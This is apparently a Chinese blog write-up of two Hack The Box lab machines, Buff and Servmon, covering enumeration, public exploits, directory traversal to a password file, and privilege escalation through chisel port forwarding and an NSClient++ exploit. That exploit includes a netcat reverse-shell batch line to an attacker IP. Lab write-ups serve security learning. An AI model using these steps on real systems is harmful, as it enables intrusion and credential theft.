HTB-oscplike-Buff+Servmon

HTB-oscplike-Buff+Servmon

终于把论文初版写好了 恁妈这老师死命催 交了又拖着不给我改 那催勾八呢
好几天没打了 这两天先康复训练一下

Buff

easy难度的buff 靶机IP 10.10.10.198

sudo nmap -sV -sC -A -p- --min-rate=1000 -Pn 10.10.10.198
7680/tcp open pando-pub?
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)

8080翻到看到contact栏 本来想看能不能利用 结果发现版本号
那就直接searchsploit gym management 1.0
直接有脚本可以打穿…
连上去后拿到user的flag 33e1b010e447b491cf612679bf75ee1b

提权 netstat -ano 发现8888端口是被诡异的监听的 PID是8780
tasklist里找了一下没找到 后来发现这个PID是在那狂变的
netstat -ano;tasklist 对照找到进程是 CloudMe.exe
where.exe /R c:\ cloudme*.* 找到路径
c:\Users\shaun\Downloads\CloudMe_1112.exe

接着searchsploit看到有这个版本的缓冲区溢出
依然是贴心的写了msf的方式的 修改里面该修改的参数
但是这是一个python脚本 windows上是没有环境的
那么很明显就是要做一个端口转发了

./chisel server -p 7887 --reverse
./chisel.exe client 10.10.14.17:7887 R:8888:localhost:8888

然后kali本地执行就行了 弹回shell拿到root的flag
39cfac2fddce43c0877a7d8df0a89df6
请添加图片描述

Servmon

继续继续 easy难度的servmon 靶机IP 10.10.10.184

sudo nmap -sC -sV -A -p- --min-rate=1000 -Pn 10.10.10.184
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0)
80/tcp open http
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5666/tcp open tcpwrapped
6063/tcp open x11?
6699/tcp open napster?
8443/tcp open ssl/https-alt

一个个来 21直接ftp用anonymous连上去 在nadine文件夹下有Confidential.txt
打开看到
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine

然后Nathan下看到Note to do.txt 里面写着

  1. Change the password for NVMS - Complete
  2. Lock down the NSClient Access - Complete
  3. Upload the passwords
  4. Remove public access to NVMS
  5. Place the secret files in SharePoint

searchsploit nvms看到一个非常简单的目录遍历
那么结合上下文 我们要做的就是通过目录遍历访问到那个Passwords.txt
burp里一堆…/后面拼接上users/nathan/desktop/passwords.txt得到

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
咋恁多啊 爆破或者嗯登都行 最后得到Nadine/L1k3B1gBut7s@W0rk

ssh连上去 本来想弄个powershell结果报毒了 那就直接继续
systeminfo没权限 基本告别内核提权 whoami /all 土豆也寄了
进程一下子也没看出什么花头 入口多半不在这里

往回看那个note 看到一个NSClient还没有利用到
searchsploit发现有一个提权 有七步需要做

  1. Grab web administrator password
  • open c:\program files\nsclient++\nsclient.ini
    or
  • run the following that is instructed when you select forget password
    C:\Program Files\NSClient++>nscp web – password --display
    Current password: SoSecret
  1. Login and enable following modules including enable at startup and save configuration
  • CheckExternalScripts
  • Scheduler
  1. Download nc.exe and evil.bat to c:\temp from attacking machine
    @echo off
    c:\temp\nc.exe 192.168.0.163 443 -e cmd.exe
  2. Setup listener on attacking machine
    nc -nlvvp 443
  3. Add script foobar to call evil.bat and save settings
  • Settings > External Scripts > Scripts
  • Add New
    - foobar
    command = c:\temp\evil.bat
  1. Add schedulede to call script every 1 minute and save settings
  • Settings > Scheduler > Schedules
  • Add new
    - foobar
    interval = 1m
    command = foobar
  1. Restart the computer and wait for the reverse shell on attacking machine
    nc -nlvvp 443
    一步步做就完事了 找到密码ew2x6SsGTxjRwXOT

同时文件里还指出只允许127.0.0.1访问 因此要做一下端口转发
然后就一步步做完就弹回shell了 打完

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值